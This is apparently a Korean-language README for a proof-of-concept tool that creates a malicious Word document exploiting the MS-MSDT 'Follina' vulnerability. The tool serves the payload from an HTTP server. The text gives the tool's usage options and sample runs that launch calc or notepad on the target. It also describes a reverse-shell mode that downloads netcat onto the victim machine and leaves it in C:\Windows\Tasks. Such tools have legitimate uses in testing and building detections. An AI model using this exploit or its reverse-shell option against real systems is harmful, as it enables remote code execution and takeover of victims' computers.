johnhammond/msdt-follina악성 Microsoft Word 문서를 생성하여 MS-MSDT 'Follina' 취약점을 악용하고, HTTP 서버를 통해 임의 명령 실행 또는 페이로드 스테이징을 수행합니다.
John Hammond | 2022년 5월 30일
악성 Microsoft Word 문서로 "Follina" MS-MSDT 공격을 생성하고 HTTP 서버로 페이로드를 스테이징합니다.
usage: follina.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND, -c COMMAND
command to run on the target (default: calc)
--output OUTPUT, -o OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE, -i INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT, -p PORT port to serve the HTTP server (default: 8000)
calc.exe 실행:
$ python3 follina.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./follina.doc
[+] serving html payload on :8000
notepad.exe 실행:
$ python3 follina.py -c "notepad"
포트 9001에서 리버스 셸 획득. 참고: 이 기능은 netcat 바이너리를 피해자 시스템에 다운로드하여 C:\Windows\Tasks에 배치합니다. 바이너리를 정리하지 않으므로, AV가 비활성화되지 않는 한 안티바이러스 탐지를 유발합니다.
$ python3 follina.py -r 9001
